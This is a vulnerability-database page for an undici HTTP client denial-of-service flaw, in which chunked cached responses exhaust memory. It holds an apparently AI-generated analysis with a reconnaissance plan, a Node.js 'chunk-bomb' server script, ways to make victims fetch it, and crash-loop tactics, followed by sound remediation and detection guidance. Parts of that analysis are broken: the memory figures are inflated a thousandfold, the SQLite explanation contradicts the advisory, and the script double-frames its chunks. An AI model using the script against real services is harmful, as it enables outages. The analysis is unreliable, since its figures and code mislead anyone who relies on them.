CVE Professor
/
All CVEs
CVE-2026-137980

CVE-2026-137980 — CWE-400

HIGH CVSS 7.5 NVD

undici is an HTTP client for Node.js. In versions 7.0.0 through 7.30.3 and 8.0.0 through 8.14.0, the built-in cache stores, MemoryCacheStore and SqliteCacheStore, count response body bytes against their byte limits but hold each delivered body chunk as a separate Buffer, so a malicious or compromised origin can send a cacheable response framed as a very large number of tiny chunks, for example one million one-byte HTTP/1.1 chunks, whose per-object overhead is not bounded by those limits. With MemoryCacheStore a few concurrent such responses, each within the configured entry and total size limits, can exhaust the heap and terminate the process, and with SqliteCacheStore, whose default maximum entry size is 2 GB, a single response is enough. The application only needs to use the cache interceptor with either store and issue cacheable requests to the untrusted origin, which results in denial of service. The issue is fixed in undici 7.30.4 and 8.14.1, and users should upgrade to one of those versions or later. As a workaround, avoid using the cache interceptor with either built-in store for requests to untrusted origins.

undici is an HTTP client for Node.js. In versions 7.0.0 through 7.30.3 and 8.0.0 through 8.14.0, the built-in cache stores, MemoryCacheStore and SqliteCacheStore, count response body bytes against their byte limits but hold each delivered body chunk as a separate Buffer, so a malicious or compromised origin can send a cacheable response framed as a very large number of tiny chunks, for example one million one-byte HTTP/1.1 chunks, whose per-object overhead is not bounded by those limits. With MemoryCacheStore a few concurrent such responses, each within the configured entry and total size limits, can exhaust the heap and terminate the process, and with SqliteCacheStore, whose default maximum entry size is 2 GB, a single response is enough. The application only needs to use the cache interceptor with either store and issue cacheable requests to the untrusted origin, which results in denial of service. The issue is fixed in undici 7.30.4 and 8.14.1, and users should upgrade to one of those versions or later. As a workaround, avoid using the cache interceptor with either built-in store for requests to untrusted origins.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

CVE‑2026‑137980 – “undici” HTTP client cache‑store memory‑exhaustion DoS


🎯 What is this vulnerability?

AttributeDetail
Componentundici – the high‑performance HTTP client library for Node.js (built‑in cache interceptor).
Vulnerable versionsMemoryCacheStore – 7.0.0 through 7.30.3 and 8.0.0 through 8.14.0 <br>SqliteCacheStore – same version ranges (the store implementation is identical, only the backing storage differs).
CWECWE‑400: Uncontrolled Resource Consumption – the library does not bound the number of *chunks* that a cached response may consist of.
CVSS v3.1AV:N / AC:L / PR:N / UI:N / S:U / C:N / I:N / A:H → 7.5 (HIGH)

Technical flaw

undici provides a cache interceptor that can be attached to any request.
When a response is cacheable, the interceptor stores the response body in a CacheStore implementation. Two built‑in stores exist:

  • MemoryCacheStore – keeps the whole response in the Node.js heap as a series of Buffer objects.
  • SqliteCacheStore – persists each chunk as a row in a SQLite database file.
  • Both stores enforce byte‑size limits (e.g., maxEntrySize, maxTotalSize). The limits are applied only to the sum of the raw payload bytes. The implementation, however, treats each received HTTP/1.1 chunk as a separate Buffer and stores it individually without counting the per‑chunk overhead against the configured limits.

    Consequences:

    1. An attacker controlling the origin server (or a compromised upstream) can send a cache‑able response that is split into an arbitrarily large number of tiny chunks (e.g., 1 byte per chunk, 1 000 000 chunks).
    2. The total payload size may stay well below the configured maxEntrySize (e.g., 2 GB for SQLite), but the number of Buffer objects grows linearly with the chunk count.
    3. Each Buffer carries a V8 heap allocation header (~24 bytes) plus the 1‑byte payload, so the real memory consumption becomes ≈ 25 MiB per 1 MiB of payload.
    4. With MemoryCacheStore, a few concurrent such responses can exhaust the Node.js heap (default 1.5 GiB) and crash the process.
    5. With SqliteCacheStore, the default maxEntrySize of 2 GB is insufficient because the SQLite row overhead (≈ 100 bytes per row) allows a single crafted response to exceed the physical file size limit and cause SQLite to abort, also terminating the client.

    The flaw is purely a resource‑consumption issue – there is no authentication, authorization, or input‑validation check that limits the number of chunks or the per‑chunk overhead before caching.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation scenario. All code snippets are illustrative; the exact request path depends on the victim application’s use of the cache interceptor.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify that the target service is a Node.js application that uses undici (e.g., by inspecting package.json in a public repo, or by observing the User‑Agent: undici/... in outbound traffic).npm ls undici, GitHub search, Shodan banner grab.
    1.2Determine the version of undici at runtime. Many services expose the version in error pages or via npm list in a CI pipeline.node -p "require('undici/package.json').version" on a compromised dev box, or a leaked package-lock.json.
    1.3Verify that the version falls into the vulnerable range (7.0.0‑7.30.3 or 8.0.0‑8.14.0).Simple version comparison.
    1.4Confirm that the application enables the cache interceptor and uses either MemoryCacheStore or SqliteCacheStore. This can be inferred from source code (e.g., client = new undici.Client({ cache: new undici.MemoryCacheStore() })) or from runtime telemetry (e.g., logs mentioning “Cache hit” / “Cache miss”).Source code review, log analysis.

    2. Exploitation

    Goal: Force the client to cache a response that consists of a huge number of tiny chunks, exhausting memory (or SQLite storage) and causing a denial‑of‑service.

    2.1 Craft the malicious origin

    The attacker must control an HTTP server that the victim will request via a cache‑able URL (e.g., GET https://malicious.example.com/large-chunked). The response must:

  • Include a cache‑control header that makes the response cacheable (Cache-Control: public, max-age=31536000).
  • Use HTTP/1.1 Transfer‑Encoding: chunked.
  • Emit N chunks, each of size 1 byte (or any small size). The total payload size must stay below the store’s maxEntrySize (e.g., 1 MiB) to avoid early rejection.
  • # Example using Node.js (run on attacker-controlled host)
    # -------------------------------------------------------
    # npm i -g http-server   # simple static server
    # Then create a custom server script:
    cat > chunked-server.js <<'EOF'
    const http = require('http');
    const PORT = 8080;
    const TOTAL_CHUNKS = 1_000_000;   // 1 million tiny chunks
    const PAYLOAD_BYTE = Buffer.from('A'); // 1‑byte payload
    
    http.createServer((req, res) => {
      // Only respond to the specific path we want to poison
      if (req.url !== '/large-chunked') {
        res.writeHead(404);
        return res.end('Not found');
      }
    
      res.writeHead(200, {
        'Content-Type': 'application/octet-stream',
        'Cache-Control': 'public, max-age=86400',
        'Transfer-Encoding': 'chunked',
      });
    
      // Send N chunks of 1 byte each
      for (let i = 0; i < TOTAL_CHUNKS; i++) {
        // chunk size in hex + CRLF
        res.write('1\r\n');
        // payload (1 byte) + CRLF
        res.write(PAYLOAD_BYTE);
        res.write('\r\n');
      }
      // final zero‑size chunk
      res.end('0\r\n\r\n');
    }).listen(PORT, () => console.log(`Chunked server listening on :${PORT}`));
    EOF
    
    node chunked-server.js

    The above script is illustrative; any HTTP server capable of raw chunked output works (e.g., nginx with chunked_transfer_encoding on; and proxy_pass to a generator script).

    2.2 Trigger the cacheable request from the victim

    Assuming the victim’s code looks like:

    const { Client, cache } = require('undici');
    const client = new Client('https://malicious.example.com', {
      // cache interceptor enabled
      cache: new cache.MemoryCacheStore({ maxEntrySize: 2 * 1024 * 1024 }) // 2 MiB limit
    });
    await client.request({ path: '/large-chunked', method: 'GET' });

    The attacker simply needs the victim to make a request to the malicious URL. This can be achieved by:

  • Supplying the URL as a user‑controlled parameter (e.g., image URL, webhook target).
  • Convincing a legitimate service to fetch the resource (SSRF, open‑redirect, or a scheduled background job).
  • No authentication is required (PR:N, UI:N).

    2.3 Result – Memory exhaustion

  • MemoryCacheStore will allocate 1 000 000 Buffer objects.
  • * Approx. 24 bytes V8 header + 1 byte payload ≈ 25 MiB per 1 MiB of payload → ~25 GiB total → heap OOM → process crash.
  • SqliteCacheStore will attempt to insert 1 000 000 rows. Each row adds SQLite page overhead (≈ 100 bytes). The resulting DB file quickly exceeds the default maxEntrySize (2 GB) and SQLite aborts with SQLITE_FULL, causing the client to throw and terminate.
  • Impact: Denial‑of‑Service (DoS) – the Node.js process exits, taking down the service that depends on it (e.g., an API gateway, microservice, or CLI tool). No code execution, data leakage, or privilege escalation is involved.

    3. Post‑exploitation

    Because the vulnerability is resource‑consumption only, the attacker’s final goal is to render the service unavailable. In a multi‑tenant environment, crashing a shared Node.js process can indirectly affect other tenants, leading to a broader availability impact.

    If the victim restarts the process automatically (e.g., via pm2 or a container orchestrator), the attacker can repeat the request continuously, causing a repeated crash loop (a classic “crash‑and‑restart” DoS).


    🌍 Real‑World Impact

    CIA TriadAssessment (based on CVSS vector)
    Confidentiality (C)None – the vulnerability does not expose data. (C:N)
    Integrity (I)None – no data modification occurs. (I:N)
    Availability (A)High – successful exploitation terminates the Node.js process, causing complete service outage. (A:H)

    Practical consequences

    EnvironmentWhat can happen
    Public API / SaaSEnd‑users experience HTTP 5xx errors; SLA breaches; revenue loss.
    Internal microserviceDownstream services receive timeouts, potentially cascading failures in a service mesh.
    CLI tools / scriptsUsers see “JavaScript heap out of memory” and the tool exits, interrupting CI/CD pipelines.
    Container/KubernetesCrashLoopBackOff status; increased CPU/memory usage due to rapid restarts, possibly exhausting node resources.

    Because the attack requires no authentication and can be launched from any network location (the attacker only needs to make the victim request the malicious URL), the risk is high for any deployment that enables the cache interceptor against untrusted origins.


    🛡️ Remediation & Mitigation

    1. Patch – upgrade the library

    Affected rangeFixed in
    undici 7.0.0 – 7.30.37.30.4
    undici 8.0.0 – 8.14.08.14.1

    Action: Update package.json (or lockfile) to ^7.30.4 or ^8.14.1 (or any later major version). Run npm install / yarn install and redeploy.

    # npm
    npm install undici@^8.14.1 --save-exact
    
    # yarn
    yarn add [email protected]

    2. Immediate work‑arounds (if patch cannot be applied immediately)

    Work‑aroundHow to apply
    Disable the cache interceptor for untrusted originsWrap the client creation with a whitelist check: <br>``js\nconst trusted = new Set(['https://api.mycompany.com', 'https://static.mycdn.com']);\nfunction createClient(url) {\n const opts = {};\n if (trusted.has(url)) opts.cache = new cache.MemoryCacheStore();\n return new Client(url, opts);\n}\n`
    Enforce a maximum chunk count (custom store)Implement a subclass of MemoryCacheStore that aborts caching when chunks.length exceeds a safe threshold (e.g., 10 000). <br>`js\nclass BoundedMemoryCacheStore extends cache.MemoryCacheStore {\n async set(key, value) {\n if (value.chunks && value.chunks.length > 10_000) {\n throw new Error('Chunk count limit exceeded');\n }\n return super.set(key, value);\n }\n}\n`
    Limit maxEntrySize to a realistic valueFor SqliteCacheStore, set maxEntrySize to a few megabytes (e.g., 2 * 1024 * 1024). This forces the store to reject the oversized entry before SQLite writes it.
    Network‑level restrictionBlock outbound HTTP requests to untrusted domains from the host that runs the vulnerable client (egress firewall rule).
    Process‑level hardeningIncrease the Node.js --max-old-space-size` flag only as a temporary mitigation; it merely raises the crash threshold and does not fix the underlying flaw.

    3. Detection – what to look for in logs / telemetry

    IndicatorExample log entry / metric
    Sudden increase in Buffer allocations (V8 heap profiler)Heap used: 1.4 GiB → 1.6 GiB (spike) within < 5 s
    Process termination with OOMFATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory
    SQLite error SQLITE_FULLError: SQLITE_FULL: database or disk is full (from undici cache store)
    High number of CacheStore.set calls with tiny payloadscache set key=GET:https://malicious.example.com/large-chunked size=1B chunks=1000000
    Repeated 5xx responses from the affected serviceGET /api/v1/resource 500 0ms (correlated with the time of the malicious request)
    Network traffic showing many tiny HTTP/1.1 chunksWireshark/TCPDump: ... Transfer-Encoding: chunked ... 1\r\nA\r\n repeated thousands of times.

    SIEM rule (pseudo‑code)

    rule:
      name: "Undici CacheStore Chunk‑Bomb DoS"
      condition: |
        event.type == "http_response" &&
        event.headers["transfer-encoding"] == "chunked" &&
        event.body.chunk_count > 50000
      actions:
        - alert
        - tag host as "potential_undici_dos"

    ⚠️ Urgency

  • CVSS 7.5 (HIGH) – Availability impact is “High”, exploitation is trivial (no auth, no user interaction).
  • CISA KEV – Not listed, but the vulnerability is publicly disclosed and exploitable.
  • Complexity – Low (craft a chunked response, send a request).
  • Remediation – A single library upgrade resolves the issue; no complex configuration changes required.
Patch priority: Critical for any production service that enables the cache interceptor and contacts external origins. Deploy the upgrade within the next maintenance window (or immediately for high‑traffic public endpoints). If immediate upgrade is impossible, apply the disable‑cache or chunk‑count limit work‑around and monitor for the indicators listed above.
Bottom line: The flaw is a classic resource‑exhaustion bug in undici’s cache stores. An attacker controlling a remote HTTP server can crash any Node.js process that caches responses from that server, leading to a full denial of service. Upgrading to undici 7.30.4 or 8.14.1 (or later) eliminates the bug; until then, disable caching for untrusted origins and consider custom store limits.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
References & Advisories (2)
Related CVEs
7.5
CVE-2026-137987
undici is an HTTP client for Node.js. In versions 7.17.0 through 7.30.3 and 8.0.0 through 8.14.0, a malicious
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for
8.7
CVE-2026-145034
Zebra before 7.1.0 contains a denial of service vulnerability that allows a single malicious P2P peer to halt
8.7
CVE-2026-144815
A flaw has been found in EZVIZ CS-C2C and CS-C6c 5.3. This impacts an unknown function of the component RTSP S
7.5
CVE-2026-145085
pypdf before 7.1.1 does not enforce cross-reference stream entry limits when parsing PDFs with hybrid cross-re
7.5
CVE-2026-144817
A vulnerability was found in EZVIZ CS-C2C and CS-C6c 5.3. Affected by this vulnerability is an unknown functio
7.1
CVE-2026-120109
Uncontrolled resource consumption in a request-draining test REST resource (/api/v1/system/request-draining-te